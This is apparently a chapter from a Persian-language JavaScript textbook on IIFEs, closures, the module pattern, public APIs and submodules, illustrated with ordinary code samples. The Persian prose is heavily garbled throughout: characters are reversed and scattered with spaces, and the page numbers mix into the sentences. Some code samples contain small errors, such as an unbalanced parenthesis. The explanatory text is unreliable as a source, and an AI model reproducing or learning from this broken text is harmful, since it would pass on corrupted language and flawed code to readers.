ا جنا // what is it correct ?! undefined = true ; ا ن شآ strict ت لاح اب ش ی پ ش خب ر د ،د وب ری ذ پ نا ک م ا ی لو د س ری من رظن ه ب ی ب لاج راک ا ع ق او ه ک ر گ ا سپ ،د وشیم ی ن ی ن چ ن یا ی اهراک م ا جنا ز ا عن ام ت پ یرکس ا م ک ا ز ا 5 ه خس ن فط ل هب هک می دش تسا ه ا بت ش ا ه ک د ی وگیم ه د نن ک ه یزجت م یه د م ا جنا ی راک نی ن چ م یه ا وخب و دشاب ل ا عف strict ت لاح .ده دی م ا طخ و ع بات هب زی ن undefined ر ا د ق م کی ین ی ن چ ن یا تاها بت ش ا ر ب ار ب ر د د و خ ی اهدک ز ا تظف ا ح م ی ار ب ام ری ا س طس وت تسا نکم م هک یتاها بت ش ا ع وقو ز ا د و خ IIFE ع بات لخاد ر د ات م یه دی م س ا پ د و خ :ل اثم . م ی ن ک ی ر یگو ل ج دهدب خ ر ه ح فص ر د ه دش یر ا ذگراب یتپ یرکساو اج یاه لی ا ف undefined = true ; ( function ( window, document, undefined ) { // undefined is a local undefined variable })( window , document ); 127 متفه شخب ",".ت ش اد م یه ا و خ ا ر undefined ح ی ح ص ر ا د ق م ز ا هد افت سا نا ک م ا د و خ ع بات ر د ام راک ن یا اب [ IIFE یا ر ب ص اخ ی اهرت کار ا ک ز ا ه دا فت س ا رتنارپ کی و زاب رتنا را پ کی لخاد ت س ی ابیم ا ر ه دش فیرعت IIFE ع بات ،دش ه راش ا ه ک رو طن ا م ه :ری ز دک ل اثم ی ار ب ؟ده دی م خ ر یقافت ا ه چ م ی نکن ا ر راک ن یا ر گ ا ی لو م یه د ر ار ق هتسب function () { console .log( “run! “ ); }(); // SyntaxError: function statement requires a name ،دتس یای م راک ز ا ه ما نر ب و د وشیم پ اچ ه دش ر ک ذ ی ا طخ ه ک م ی ن کیم ه دها ش م ق و ف دک ن در ک ار ج ا اب یف اض ا ی اهزت نا را پ ن در ک ج ر د نودب هک د ر اد د وجو یرا ک ه ا ر ا ی آ هک تسا نیا د ی آیم ش ی پ ه ک یل ا و س ؟! م یهد ن تب س ن م ا ن د و خ رظن د روم ع بات هب و م ی ن ک دیلوت IIFE ترا ب ع ع بات یا هتنا و ا دتب ا ر د ز ا لب ق و دک ی ا دتب ا ر د !کی ج ر د اب م ی نا وتیم راک ن یا م ا جنا یار ب . تسا هل ب ، لا و س نیا خس ا پ :تروص هب م ی ن ک ار ج ا ا ر دک function // no needs to (...) ! function () { console .log( “run!“ ); }(); // console: “run!” راک ن یا ه با ش م ن ا وتیم ، تسا هداد ی اج د و خ ر د ا ر یصا خ ب لاج د ر ا وم ت پ یرکساو اج هک ی ی ا جن آ ز ا د ع ب دک ه کت ر د ا ر د ر ا وم ن یا ز ا یی اه ل اثم . داد م ا جنا ع بات ی ا دتب ا ر د ز ی ن - ا ی + , ~ ن در ک ج ر د اب ا ر .م ی ن کیم نایب 128 اه لوژ ا م و اه closure ، IIFE ","-function () { console .log( “run with - “ ); }(); + function () { console .log( “run with + “ ); }(); ~ function () { console .log( “run with ~ “ ); }(); .د نر یگیم ر ار ق هد افت سا د روم رتم ک یلو د نت سه هد افت سا ل باق زی ن د ر ا وم ن یا [ IIFE تار ابع عباوت یراذگم ان م ا ن نودب ار ثک ا و د ر ا د ن د وجو IIFE ع ب ا وت ی ار ب م ا ن ج ر د ه ب یموزل د یا ه دش هجوتم هک رو طن ا م ه :ل اثم ، در ک باخت نا ز ی ن م ا ن د و خ ع بات ی ار ب ن ا وتیم یلو ،د ن وشیم هد افت سا ( function add ( start ){ var sum = start + 50 ; console .log(sum); // console: 60 })( 10 ); لخاد ر د طقف و ت سی ن سرتسد ل باق IIFE د و خ ز ا ج را خ ه جو چ یه هب م ا ن نیا د وش هجوت د ی اب هت ب ل ا ا دص هب هک ا ر IIFE تروص هب یت ش گزاب ع ب ا وت د نن ام ی ی اه در براک ، در ک هد افت سا نآ ز ا ن ا وتیم ع بات د و خ :ل اثم ، م ی ن کیم ار ج ا ت لاح ن یا اب ، می ر اد زای ن نآ ه ن دب لخاد ر د ع بات ن د ز 129 متفه شخب ","( function add ( start ){ var sum = start + 50 ; if (sum < 100 ){ // call sum function again add (sum); } else { console .log(sum); // console: 110 } })( 10 ); [ IIFE ا ب سرو س ی زاس مج ح مک :د نن ام ی ی اه تیز م ،د یا ه دش ا ن شآ ا جنیا ه ب ات IIFE ت ا را ب ع یا یاز م ز ا یخر ب اب ص خ ش م scope ر د اه ر یغتم ندش فیرعت یمو م ع یاه ر یغتم هب ی سرتسد ر د ت ع رس د و به ب strict ت لاح اب ه د شن تیری دم یاها طخ ز ا یر یگو ل ج ...و و س رو س ی زا س مج ح م ک ر د نآ تب ثم ر ی ث ات IIFE بو خ ی اهیگژ یو ز ا یکی ،د ر ا وم ن یا ز ا ا دج .دشابیم در براک رپ ت ا را ب ع ی نیزگی اج window , :د نن ام ی نلا وط یاه object نیو ا ن ع ز ا ید ا ی ز هد افت سا ،س رو س کی ر د دی ن ک رو صت ر ییغت نا ک م ا ، اه ر یغتم ن یا ی مو م ع scope ز ا هد افت سا ت لاح ر د ،می ر اد … و document , jQuery م ی نا وتیم و دش هد ز IIFE یار ب لب ق تا ح فص ر د ه ک یلاثم اب یلو ،دشا بن هد ا س تسا نکم م اهنآ م ا ن یار ج ا ت ع رس ر د م یتفگ هک ل ا قتنا نیا ر د ،م ی ن ک لقتن م ی لح م scope هب ا ر یمو م ع یاه ر یغتم هب هتسب ، رت ه اتوک ن ا و ن ع کی اب و هدر ک ض وع ا ر ر یغتم م ا ن م ی نا وتیم ، د ر اد تب ثم ر ی ث ات زی ن ه ما نر ب تب ثم ر ی ث ات س رو س مج ح ش هاک ر د ، IIFE یار ب د وجوم scope ر د ر یغتم نآ ز ا هد افت سا دا د عت .م ی ن کیم ه دها ش م د ع ب دک ه کت ر د ا ر یزا س مج ح م ک ن یا ز ا ی لاثم . م یشاب هتش ا ذگ 130 اه لوژ ا م و اه closure ، IIFE ","( function ( window, document, undefined ) { console .log( window ); // Object window })( window , document ); // minified ( function ( a, b, c ) { console .log(a); // Object window })( window , document ); ر د م ا ن ر ییغت اب هک دشاب یم window هب ط وب ر م object نا م ه a ر یغتم ه دش مج ح م ک دک ه کت ر د ع بات scope لخاد ر د object نیا ز ا ید ا ی ز هد افت سا دا د عت ر گ ا و تسا هد وب هارم ه رت م ا را پ نتفر گ ک یتاموت ا تروص هب راک ن یا( .م یه د ش هاک ی د ا ی ز دح ات ا ر ه دش هتشو ن دک مج ح م ی نا وتیم م یتش اد .)د وشیم م ا جنا UglifyJS د نن ام ی ی اهه ن اخباتک ر د رگید یاهن اخباتک طس وت یمو م ع scope ر د ر یغتم م ا ن کی تسا نکم م هک ی رگید ی اه ت لاح ر د رظن د روم ر یغتم ن ا و ن ع ز ا ک ی نکت ن ی م ه اب ع بات ی لح م scope یار ب م ی نا وتیم ،دشاب ه دش ل اغش ا .دشابیم ی رئ وک یج ه ن اخباتک ی ار ب $ رت ک ا راک ه ن یمز ن یا ر د د وجوم رو هش م ل اثم ، م ی ن ک هد افت سا scope ر د و د ن کیم راک $ رت ک ا راک یور ر ب ی رئ وک یج د نن ام هک میا هدر ب راک هب ی اهن اخباتک دی ن ک ضرف تروص هب ن ا وتیم طیار ش ن یا ر د ،د ز ا د نای م هر طاخم هب ا ر ام نتشو ن دک یتای لم ع هبا شت نیا ی مو م ع :در ک لم ع ری ز ( function ( $, window ) { // use $ to refer to jQuery // $(document).addClass(‘test’); })(jQuery, window ); .د ن کیم ه راش ا jQuery هب هک م ی ن ک هد افت سا $ ز ا د و خ ع بات ه ن دب ر د م ی نا وتیم ام تروص ن یا ه ب [ ر گر ورم ر یغ ی اه طیح م هب ، م یه دی م ر ار ق رظن دم ا ر ، ر گرو ر م ز ا ج را خ ی اه ط ی ح م IIFE ثحب م ی ار ب رخ آ هت کن ن ا و ن ع هب ام هد افت سا د روم یمو م ع object ر گرو ر م ه ر ا و م ه nodejs د نن ام ی ی اهر از ب ا ز ا هد افت سا تفرش ی پ فط ل 131 متفه شخب ","،دشاب هتش اد ح ی ح ص در کراک فلت خم یاه ط ی ح م ر د ه ک م یشاب هدر ک دیلوت یدک م یه ا وخب ر گ ا و ت سی ن .د ز ا د ن یب ش لاچ هب ا ر ام تسا نکم م ع وضوم نی م ه د روم م ا ن اب ا ر this رت م ا را پ م ی نا وتیم IIFE ز ا هد افت سا اب هک تسا نیا دمآراک و هد ا س رایسب را ک ه ا ر کی :م ی ن ک قی رزت د و خ ه ما نر ب یاهدک هب رظن ( function ( root ) { // code })( this ); ام ،د ن کیم ه راش ا window هب ط وب ر م object هب حطس نیرتینور یب ر د this ر گرو ر م ر د نوچ ز ا ج را خ ی اه ط ی ح م ر د و میاهدر ک قی رزت د و خ ی اهدک هب root مسا اب ی رته ب م ا ن کی اب ا ر window ر یغتم اب م ی نا وتیم و م ی ن ک راک د ر ا د ن د وجو هک window مسا ه ب ی ر یغتم اب ت سی ن م ز لا ز ی ن ر گرو ر م .م یه د م ا جنا ا ر د و خ ی اهراک root یاه هژورپ ر ثک ا ر د لا ا مت ح ا ه ک در ک دیلوت ری ز مرف ه ب ا بی ز رایسب دک ه کت کی ن ا وتیم ب یت رت نیا ه ب :د یا هدر ک ه دها ش م فورع م ا ی زاب نتم ( function ( root, factory ) { if ( typeof define === ‘function’ && define.amd) { define(factory); } else if ( typeof exports === ‘object’ ) { module .exports = factory; } else { root.MYMODULE = factory(); } })( this , function () { // Code goes here }); یر س کی ی ط و رگید یع بات طس وت م یس ی و نی م هک ی ع بات ، تسا ه دش هتشو ن یاهفر ح ا ع ق او دک ه کت نیا .ده دی م ه ئا ر ا ییار ج ا ط ی ح م س ا سار ب ا ر ام رظن د روم یجو رخ و د وشیم ی نا و خارف ص ا خ طیار ش root.MYMODULE = factory ش خب د وش ار ج ا ر گرو ر م ط ی ح م ر د ر گ ا ،ه ک تروص ن یا ه ب ز ا nodejs د نن ام ی ط ی ح م هک یتروص ر د ،د وشیم فیرعت ام رظن د روم لوژ ام و د وشیم ار ج ا 132 اه لوژ ا م و اه closure ، IIFE ","ع بات دشاب ه دش هد افت سا requireJS هک یتروص ر د و دش ده ا و خ هد افت سا module.export .د وشیم ار ج ا ام ع بات ی ار ب define یاها طخ ه ک د وشیم هداد هعس وت فلت خم یاه ط ی ح م ر د در براک ی ار ب مج س ن م دک کی کبس نیا اب .ت ش اد ده ا وخ ن ا ر ه د شن فیرعت ی اه object یار ب Reference [ اه Closure ناگد ن ه د هعس وت طس وت رتم ک هک د نت سه ت پ یرکساو اج نابز ز ا یش خب ) closures ( اههتسب یار ب زی ن ش خب ن یا یر یگ د ا ی لا ا مت ح ا . د نت سه ی در براک و هد ا س رایسب ه ک یلاح ر د ، د ناه دش هت خ ا ن ش هدر ک ه ع لا ط م یبو خ ه ب ا ر اه scope هب ط وب ر م یاه ش خب ر گ ا هتب ل ا ،د وب ده ا و خ هد ا س رایسب ا م ش .دیشاب تسا رته ب د ی اش ،د یاهدرکن هد افت سا اه closure ز ا ل ا ح ب ات یلو دیتسه ا ن شآ ت پ یرکساو اج اب ر گ ا د و خ ی اهدک ر د ا ر اه closure د ی ز ا د ن یب یها گن د و خ هت شو ن ی اهدک هب ش خب ن یا هع لا ط م ز ا سپ ه ک دی ن ک ت ق د یم ک ات ت سی ف اک طقف د نت سه ا م ش فار ط ا ر د لا ماک اه closure ع ق او ر د . دی ن ک ه دها ش م ؟د یاهدر ک هد افت سا ع ب ا وت ز ا ، دی ن ی ب ب ا ر اهنآ و رو صت فلاخر ب یتح .د یر ی گ ب د ا ی دیه ا وخب هک د نت سی ن ی د ی دج یاهدک ا ی د ی دج یاهر از ب ا اه closure نم ،دی ی وگیم نات د و خ ه ب نآ ی ر یگ د ا ی ز ا د ع ب لا ا مت ح ا و د نت سی ن ز ی ن ف وخم ی اهل ئسم کی اهی ضع ب .مدر کیم هد افت سا د روم ن یا ز ا ه ک ا ر closure ا دتب ا ر د ،ه طوب ر م لئ اسم و دک غارس میور ب تسا رته ب ه دش ه ئا ر ا تا ح یضوت ز ا د ع ب scope لخاد ی اه ر یغتم ز ا هد افت سا و ی راپ س ر طا خ ه ب ی ی ا نا وت ع بات کی ه ک ی ن امز : م ی ن کیم فیرعت .د ر اد closure ،دشاب هتش اد ا ر د و خ ییلا اب ت ق د م یه دی م ح یضوت هک ید ع ب ل اثم د ن چ هب د یا ه د شن م و ه فم هجوتم ر گ ا ی لو ت س یاهد ا س فیرعت .دی ن ک :ل وا لاث م رته ب و تسا هد ا س رایسب ل اثم ن یا هتب ل ا( م یس ی و ن ب ی ن ابز د ن چ مت سی س کی م یه ا و خی م دی ن ک ضرف global یر یغتم ر د تاغل هب ط وب ر م تاع لا ط ا و )د و شن هتفر گ و گ ل ا نآ ز ا ل و صح م دیلوت ی ار ب تسا د و خ languageData یمو م ع ر یغتم نی م ه هت ب ل ا( ،تسا هتفر گ ر ار ق languagesData مسا ه ب م ی نا وتیم closure ز ا هد افت سا اب )می وشیم د ر ش را ن ک ز ا لاعف ه ک تسا ه ما نر ب یاهدتم ر د closure ه د ه ع ر ب ا ر فلت خم یاهنابز ی ار ب م ج رت م دیلوت هفیظو هک می زاسب createTranslator مسا ه ب ی ع بات 133 متفه شخب ",".ده د لی و حت ام هب ا ر زای ن د روم ع بات ات در ی گ یم lang یدو رو کی و د ر اد دیلوت یسی لگنا و یس را ف ی اهنابز ی ار ب م ج رت م و د fa، en رید ا ق م اب دتم ن یا ینا و خارف اب یاه ش خب ه م ج رت یار ب اهنآ ز ا و هت خ ی ر م ج رت م ر ه ص و ص خم یاه ر یغتم ر د ا ر اهنآ س پ س ،م ی ن کیم :ه دش هداد ح یضوت دک . م ی ن کیم هد افت سا رظن د روم // Languages string data object var languagesData = { “en” : { “hi” : “Hello” }, “fa” : { “hi” : “ ” }, }; // function that we use to create translator function createTranslator ( lang ) { function translator ( key ) { return languagesData[lang][key]; } return translator; } فیرعت ی اهنابز ی ار ب ص ا خ ی اه م ج رت م ات ت شو ن ن ا وتیم ا ر ری ز دک زی ن ع بات ن یا ز ا هد افت سا یار ب :ده د هئا ر ا ا ر ه دش var persianTranslator = createTranslator( “fa” ); var englishTranslator = createTranslator( “en” ); persianTranslator( “hi” ); // englishTranslator( “hi” ); // Hello ا ر ه م ج رت یار ب رظن د روم ع بات می ر اد شی ا من یار ب ی نت م هک ی ی اج ر ه م ی نا وتیم هما نر ب ن یا ه م ادا ر د .م ی ن ک هد افت سا هن ابز د ن چ هما نر ب کی ز ا و م ی نز ب ا دص م لا س ملا س 134 اه لوژ ا م و اه closure ، IIFE ",":مود لاث م د روم ی دو رو هک م ی ن ک دیلوت ا ر ی ی اه ه د نن ک عم ج م ی نا وتب نآ ز ا هد افت سا اب ات می زاسب ی ع بات می ر اد د ص ق :د وب ده ا و خ ری ز لک ش هب هما نر ب ن یا دک .د ن ک عم ج نام رظن د روم د دع اب و هدر ک تف ا ی ر د ا ر ام رظن function createAdder ( size ) { function add ( y ) { return y + size; } return add; } ینا و خارف اب د نا وتیم و ،دشابیم closure ،تسا ه دش هداد م ه تش گزاب هک add ع بات ، ع بات ن یا ر د .ده د م ا جنا ا ر یت سا و خ ر د ص خ ش م ر ا د ق م کی اب عم ج لم ع می ر اد رظن دم هک ی ر یغتم قیر ط ز ا ندش :تسا نت شو ن ل باق ری ز تروص هب لا اب ع بات ز ا ه د نن ک هد افت سا دک var addTwo = createAdder( 2 ); var addTen = createAdder( 10 ); addTwo( 6 ); // 6 + 2 = 8 addTen( 5 ); // 5 + 10 = 15 createAdder( 8 )( 6 ); // 8 + 6 = 14 ع بات ی نا و خارف ز ا د ع ب هک د وب ن یا م یتش اد ه ک یرا ظتنا ؟د ن ه دی م خ ر ه ن و گ چ تاقافت ا نیا ام ا طس وت د وب ه دش هداد نآ هب size ر یغتم ن ا و ن ع هب هک یر ا د ق م add ع بات ی نادر گزاب و createAdder نوچ ده دیمن خ ر ق افت ا نیا ی لو ، د وش دا زآ ه ظف اح و د وش یلا خ 2 garbage collector ش ز ادرپ تب س ن ر یغتم یا ضف ندش یلا خ عن ام ع وضوم ن یا و د ر اد یگت سب او ر یغتم نآ هب add م ا ن ه ب ی ع بات .د وشیم ه دیما ن closure د وشیم ل صاح هک ی اهج یت ن و د وشیم هداد هد افت سالا ب یاها ضف ی زا س ی لا خ یار ب ت پ یرکساو اج روتوم طس وت و ه ن یمز سپ ر د ه ک تسا ش ز ادرپ کی grabage collector 2 .در یگیم ر ار ق هد افت سا د روم اه ر یغتم 135 متفه شخب ","[ ) modules( اه ل وژام د د ج م هد افت سا ت ی ل باق هک د ن کیم ه راش ا ه ما نر ب ا ی دک ز ا یش خب هب لوژ ام هژاو ت پ یرکساو اج ر د یاه هد افت سا نیرتدر براک رپ ز ا . د ن ک ی نادر گزاب string یتح ا ی و object ،ع بات تسا نکم م و د ر اد ا ر .دشابیم لوژ ام ن رتپ ت پ یرکساو اج ر د اه closure :دشابیم ری ز لک ش هب ر گرو ر م تحت ی اه لوژ ام ی ل ک ت لاح ( function () { /* code */ })(); ا دص ا ر د و خ فیرعت ز ا سپ هل صا فلا ب هک تسا IIFE ع بات نا م ه ق و ف دک ه کت ه ک دی ن کیم ه دها ش م م یه ا و خ یس ر ر ب هم ادا ر د ه ک یلاثم و داد م ا جنا ز ی ن IIFE مرف ز ا ج را خ ا ر راک ن یا ن ا وتیم هت ب ل ا . د ن زیم یرس کی اب ور د و خ ز ا object کی تخ ا س یار ب هک تسا ه دش هتشو ن ید اع ع بات مرف ه ب در ک .دو ریم راک هب ه دش ه ئا ر ا و ص ا خ ی اهیگژ یو function Car (){ var carName, color; // create a car function _ make ( name,color ) { carName = name; color = color; return { name: carName , color: color }; } return { make: _make }; } // create a `Car` module instance var car = Car(); car.make( “peykan” , “white” ); 136 اه لوژ ا م و اه closure ، IIFE ","هک ، تسا ه دش ر ک ذ Car دیلوت ی ار ب لوژ ام کی درکلم ع ه و حن ز ا ا بی ز دک ه کت کی لا اب ل اثم ر د هب نوچ _ make ع بات ، م ی ن ک دیلوت فلت خم یاهیگژ یو اب یاهور د و خ نآ ز ا هد افت سا اب م ی نا وتیم م ا ن فیرعت ع و ن نیا و تسا ه دش عور ش _ رت ک ا راک اب تسا ه دش هد افت سا و فیرعت یلخاد تروص .دشابیم ت پ یرکساو اج نابز ر د م و سر م ت لاح کی یلخاد ع ب ا وت ی ار ب یجرا خ سیورس کی ز ا ،یدو رو ه س ا ن ش کی س ا سا ر ب ا ر اهور د و خ تاع لا ط ا لا اب ل اثم ر د ن ا وتیم تخ ا س یار ب د و خ رظن د روم ور د و خ ی اهیگژ یو کت کت هئا ر ا ه ب مزل م رگید ب یت رت نی دب و در ک تف ا ی ر د .م ی ن ک د ا جیا ا ر نآ ز ا هن و من کی م ی نا وتیم نآ ه س ا ن ش و ور د و خ ع و ن هئا ر ا اب ا هنت و م یتسی ن :دشابیم ار ج ا ل باق ری ز تروص هب میدر ک تبح ص نآ د روم ر د ه ک یدک function Car (){ var carName, carInfo; // create a car function _make ( name, id ) { return getAjaxData(name, id) } // get data from url function getAjaxData ( car, id ) { // we get car data from some URL // carInfo will set here return carInfo; } return { make: _make }; } // create a `Car` module instance var car = Car(); car.make( “peykan” , 23 ); 137 متفه شخب ","[ private عباوت کر د یلح م تروص هب _ make ع بات هک م یتفگ لا اب ش خب ر د ه دش ر ک ذ ی اه تبح ص ز ا یش خب ر د ع ب ا وت ی ار ب _ نتش ا ذگ ی ار ب یمو م ع کبس کی ز ا و د ر اد یسرتسد ت ی ل باق لوژ ام لخاد ر د طقف و ز ا ینا و خارف نا ک م ا ه ک دشابیم یصو صخ ع بات کی _ make ع بات ع ق او ر د ،م ی ن کیم هد افت سا یلح م :یل ک لک ش هب . د ر ا د ن ا ر نو ر یب var Module = ( function () { var privateMethod = function () { // do some operations }; })(); و یسرتسد ل باق نو ر یب ز ا Module لوژ ام لخاد ر د privateMethod ع بات هک م ی ن کیم ه دها ش م .دشابیم private ا ی ی صو صخ اح لاط ص ا و ت سی ن ینا و خارف کی طقف ین ی ن چ ن یا د ر ا وم و د ر ا د ن private و یصو صخ مرف ه ب ی ع بات ا م ی قت سم ت پ یرکساو اج هت ب ل ا ت سه راک ن یا م ا جنا ه ب یموزل هچ دی سر پب د ی اش .د نت سه یصو صخ ت لاح ه د نن ک یزا س ه ی ب ش دک ؟ تسا هدا د ن م ا جنا ا ر لم ع ن یا ت پ یرکساو اج د و خ یت قو یاه هداد تسا نکم م هک scope ر د د وجوم یاه هداد و اه ر یغتم ز ا تظف ا ح م ی ار ب ام هک تسا نیا خس ا پ یاه ه د ن ه دهعس وت ا ی اه رک ه ، دارفا طس وت دک یاه ش خب ز ا یر س کی میها و خ یم ن ،د ن شاب س ا س ح عور ش ا ر د و خ ه یلو ا ی اهراک یتقو لا ا مت ح ا ،د وش هد ز ا دص ا ی دبا ی ر ییغت و دشاب سرتسد ل باق رگید فیرعت ی مو م ع scope ر د ما دم هک اه ع بات ن یا و د یدر کیم فیرعت فلت خم یاه ع بات ما دم ،د یدر ک نکم م و د ن شاب سرتسد ل باق زی ن مت سی س ی اه ش خب ی ق بام ر د ه ک د نت ش ا د ن ی موزل چ یه ،د ن دشیم .دشاب هد وب روآ ب ا ذع نات یار ب اهراب ی ن ی ن چ ن یا فلت خم د ر ا وم و ی مسا ی اههبا شت تسا یر یگ هره ب و مت سی س فلت خم یاه ش خب ی ار ب بس ا ن م یاه لوژ ام د ا جیا ؟د یا هتف ا ی ا ر را ک ه ا ر سپ .م ی ن ک ه ف اض ا د و خ ه دش یح ار ط یاه مت سی س ه ب م ی نا وتیم اه لوژ ام طس وت هک یف لت خم تا ن ا ک م ا ز ا ب لا غ ر ب هولا ع د ن ا س ریم م ا جنا ه ب و تیری دم ا ر یصا خ ه فیظو هک ، ش خب ر ه ی ار ب لوژ ام نت خ ا س اب زی ن ا ر ع ب ا وت ی سرتسد حطس ه ب ط وب ر م د ر ا وم ،اه ر یغتم و ع ب ا وت ی مسا ی اههبا شت ع وضوم ر ب ندش publicAPI ک ر د ه ک د ع ب ش خب هب ش خب ن یا تا ح یضوت ندش ل ماک ی ار ب ، در ک تیری دم ن ا وتیم .دی ن ک ت ق د د ر اد م ا ن 138 اه لوژ ا م و اه closure ، IIFE ","[ ل وژام publicAPI کر د یا ر اد تسا نکم م هک تسا ه دش هداد تش گزاب object کی ه ک د وشیم ه دها ش م اه لوژ ام ر ثک ا ر د :ل اثم ،دشاب د و خ هن دب ر د ع بات ا ی ر یغتم var Module = ( function () { return { publicProperty: “value”, publicMethod: function () { // code goes here } }; })(); م ا ن ه ب ع بات کی و publicProperty م ا ن ه ب ر یغتم کی ی ر ا ر اد لا اب لوژ ام ز ا ه دش ی نادر گزاب object اهنآ ز ا Module ر یغتم یور ر ب م ی نا وتیم اهنآ ن داد تش گزاب اب هک دشابیم publicMethod یسرتسد ت ی ل باق هک دشاب زی ن ی صو صخ ع ب ا وت و اه ر یغتم ی ا ر اد د نا وتیم لوژ ام ن یا.م ی ن ک هد افت سا :ل اثم ی ار ب ،د ن ر ا د ن ا ر لوژ ام ز ا نو ر یب ز ا var Module = ( function () { var age = 12 ; function _collectAmount (){ return age + 300 ; } // public API return { publicProperty: “value” , publicMethod: function () { // code goes here return “amount: ” + _collectAmount() ); } }; })(); 139 متفه شخب ",":می ر اد ،م یشاب هتشو ن د ع ب دک ه کت ل اثم تروص هب ی ی اهدک لوژ ام ن یا ز ا هد افت سا یار ب ر گ ا ل اح Module .publicProperty; // value Module .publicMethod(); // amount: 312 Module .age; // undefined // TypeError: Module._collectAmount Module ._collectAmount(); هد ز ا دص ا ر ی لخاد ع ب ا وت ز ا یکی ی جو رخ ن داد تش گزاب ی ار ب publicMethod ع بات هک م ی ن یب یم هد ات فا ه ک یقافت ا سپ ،د ر ا د ن یسرتسد یلخاد ع ب ا وت هب نو ر یب ز ا ر براک هک تسا ی لاح ر د نیا و تسا .د نز ب ا دص ا ر ی لخاد ع ب ا وت د نا وتیم س ا ن شا ن تروص هب هک تسا ی مو م ع ی ع بات فیرعت تسا [ publicAPI یا ر ب return ی اه ک بس ار ثک ا ه ک ی ش خب هک م ی نادی م و میا ه دش ا ن شآ اه module اب راک یاه ت یهام اب راک ز ا ش خب ن یا ه ب ات اه ر یغتم و ع ب ا وت نت خ ا س ی مو م ع ی ار ب ی ر یسم مک ح م یه دی م تش گزاب لوژ ام ز ا object تروص هب .د وشیم هتفگ publicAPI رگید ع با ن م ی خر ب و باتک ن یا ر د object نآ هب اح لاط ص ا ه ک دشابیم :د ر اد د وجو فلت خم شو ر ن ی د ن چ publicAPI ن داد تش گزاب و تخ ا س یار ب :نآ ی نادر گزاب و ی لح م scope ر د publicAPI هکت هکت تخ ا س var Module = ( function () { // locally scoped object var publicAPI = {}; // local private variable and function var age = 12 ; function _collectAmount (){ return age + 300 ; } publicAPI.publicMethod = function (){ console .log( “Hi there!” ); } // return publicAPI object return publicAPI; })(); 140 اه لوژ ا م و اه closure ، IIFE "," :نآ ی نادر گزاب و publicAPI ا جکی تخ ا س var Module = ( function () { // local private variable and function var age = 12 ; // private module function _collectAmount (){ return age + 300 ; } var publicAPI = { publicMethod: function (){ console .log( “Hi there!” ); } }; // return publicAPI object return publicAPI; })(); :ر یغتم ز ا هد افت سا نودب ا جکی object ن داد تش گزاب var Module = ( function () { // local private variable and function var age = 12 ; function _collectAmount (){ return age + 300 ; } // return publicAPI object return { publicMethod: function (){ console .log( «Hi there!» ); } }; })(); 141 متفه شخب ","[ ل وژام ریز یارا د ی اه ل وژام یاه ش خب هک تسا یهی دب ، م ی ن ک یزا س هد ای پ لوژ ام تروص هب ا دتب ا ز ا ا ر هما نر ب ل ک م یه ا وخب ر گ ا اه ش خب یر ا ذگراب ی ار ب و م ی ن ک تیری دم هما نر ب ی ل ص ا لوژ ام نا م ه لخاد م ی نا وتی من ا ر نآ فلت خم .م یشاب هتش اد یاهن اگ ا دج یاه لوژ ام عبط لاب و ه ن اگ ا دج یاهدک ت س ی ابیم ، فلت خم یاه درکلم ع و :دشابیم ری ز تروص هب میاهدر ک یح ار ط هما نر ب تای ل ک ی ار ب هک یلو ژ ام دی ن ک ضرف var MyApp = ( function () { var _doSomePrivateThing = function () { // private }; var publicMethod = function () { // public }; var mySecondPublicMethod = function () { // public }; return { publicMethod: publicMethod, mySecondPublicMethod: mySecondPublicMethod }; })(); م ا جنا هن اگ ا دج لا ماک یتای لم ع م یه ا و خی م هک ا ر هما نر ب یاهدک ز ا یش خب ام هک دی ن ک رو صت لا اح هک یتای لم ع ر گ ا اتدعاق ، م ی ن ک ار ج ا ) ده د م ا جنا ه ما نر ب ی ل ص ا لوژ ام اب ر یگر د یت ای لم ع یتح ا ی( ده د ،هژورپ ی گرزب حطس س ا سا ر ب ،دشاب هتش اد ید ا ی ز یاهدک و دشاب ه دی چ ی پ م یه د م ا جنا م یه ا و خی م .د س ر ی من رظن ه ب ی ح ی ح ص راک ر ا د ق م کی ،یل ص ا لوژ ام ر د تای لم ع نآ یاهدک نتشو ن یلو ژ ام ن ا و ن ع هب هک م ی ن ک ار ج ا رگید ی لو ژ ام ر د ا ر د ی دج تای لم ع ت س ی ابیم ه کنیا ل و ب ق اب سپ 142 اه لوژ ا م و اه closure ، IIFE ","ز ا رگید ی مو م ع ع ب ا وت د نن ام ن ا وتب ات ، در یگ ر ار ق لوژ ام ن یا ز ا یش خب یلو د وش یزا سهد ای پ هن اگ ا دج .در ک هد افت سا نآ :تسا سرتسد ل باق نو ر یب ز ا ری ز تروص هب ام هما نر ب ی ل ص ا لوژ ام ر ضاح ل اح ر د Object { publicMethod: function , mySecondPublicMethod: function } رگید یع بات ن ا و ن ع هب ار ج ا ز ا سپ ه ک م ی ن ک ار ج ا ی لو ژ ام ری ز کی م یه ا و خی م ام ، لا اب یاههتفگ قب ط :م یشاب هتش اد ری ز د نن ام یجو رخ و در یگ ر ار ق یمو م ع ع ب ا وت ن یا را ن ک ر د Object { publicMethod: function , mySecondPublicMethod: function , subModule: function } تسد د روم ن یا ه ب ن ا وتیم ه ن و گ چ هما نر ب ی ل ص ا لوژ ام ر د publicAPI یار ب دک نتشو ن نودب ام ا ؟ تف ا ی subModule م ا ن ه ب رگید لوژ ام کی ر م ا نیا یار ب ، تسا لوژ ام ری ز تیری دم و تخ ا س ه و حن ر د خس ا پ ب یت رت نی دب ، م یه دی م س ا پ لوژ ام ری ز هب ی دو رو رت م ا را پ ن ا و ن ع هب ا ر ی ل ص ا لوژ ام س پ س و می زا سی م در براک ی ل ص ا لوژ ام ز ا یش خب ن ا و ن ع هب نآ یاهدک هک م یشاب هتش اد ی لو ژ ام ری ز کی م ی نا وتیم یدو رو اب ا د ع ب ه کنیا رگ م دشاب IIFE ت س ی ابیم ، لوژ ام ری ز هک دی ن ک هجوت طقف ،ت ش اد د ن ه ا و خ .د وش هد ز ا دص هما نر ب ز ا یش خب ر د لوژ ام نا م ه :دشابیم ری ز مرف ه ب لوژ ام ری ز هد ا س رایسب ل اثم var SubModule = ( function (MyApp) { // we have access to ` MyApp ` })(MyApp); م ی نا وتیم و می ر اد یسرتسد ه ما نر ب ی ل ص ا لوژ ام object هب لوژ ام ری ز ه ن دب ر د ام لا اب دک ی ار ج ا اب ت س ی ابیم ری ز دک ه کت د نن ام یدک نآ ی ار ج ا یار ب هک م ی ن ک قی رزت هما نر ب object هب ا ر رظن د روم ع بات :د وش هتشو ن 143 متفه شخب ","var SubModule = ( function ( MyApp ) { MyApp.subModule = function (){ // Our app public function code here! } return MyApp; })(MyApp || {} ); باتک ل وط ر د تسا نکم م هک ! ب لاج هچ 